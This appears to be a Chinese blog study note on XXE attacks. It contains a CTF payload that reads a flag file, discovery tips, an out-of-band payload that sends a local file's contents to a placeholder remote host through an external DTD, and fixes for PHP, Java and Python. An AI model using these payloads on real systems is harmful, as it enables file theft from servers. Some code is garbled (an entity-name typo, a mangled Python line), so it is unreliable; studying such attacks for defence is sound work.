11通用-XXE
Jackie

XXE

在已有XXE知识上做的一些补充

请求包会存在如下类似字样

Accept: application/xml
Content-Type: application/xml
X-Requested-With: XMLHttpRequest

例题

payload:

<?xml version="1.0"?>
<!DOCTYPE ANY [
<!ENTITY f SYSTEM "file:///home/ctf/flag.txt">
]>
<x>&f;</x>

同时修改Content-Type为application/xml

参考文章

  • XXE黑盒发现
  1. 获取得到Content-Type或数据类型为XML时,尝试进行XML语言payload进行测试
  2. 不管获取的Content-Type类型或数据传输类型,均可尝试修改后提交测试XXE
  3. XXE不仅在数据传输上可能存在漏洞,同样在文件上传引用插件解析或预览也会造成文件中的XXE payload被执行
  • XXE白盒发现
  1. 可通过应用功能追踪代码定位审计
  2. 可通过脚本特定函数搜索定位审计
  3. 可通过伪协议玩法绕过相关修复等
  • 无回显时要利用远程进行回显
<?xml version="1.0"?>
<!DOCTYPE ANY[
<!ENTITY % file SYSTEM "file:///d:/1.txt">
<!--执行的时候用file接收读到的内容-->
<!ENTITY % remoete SYSTEM "http://x.x.x.x/test.dtd">
<!--请求远程的dtd文件-->
%remote;
%all;
]>
<root>&send;</root>

其中远程的test.dtd内容如下

<!ENTITY % all "<!ENTITY send SYSTEM 'http://x.x.x.x/get.php?file=%file;'>">
  • XXE修复防御方案
  1. 禁用外部实体

PHP:

libxml_disable_entity_loader(true);

Java:

DocumentBuilderFactory dbf=DocumentBuilderFactory.newInstance();
dbf.setExpandEntityReferences(false);

Python:

from lxml import etreexmlData =etree.parse(xmlSource.etree.XMLParser(resolve_entities=False))
  1. 过滤用户提交的XML数据

过滤关键词:<!DOCTYPE和<!ENTITY,或者SYSTEM和PUBLIC

 评论
评论插件加载失败
正在加载评论插件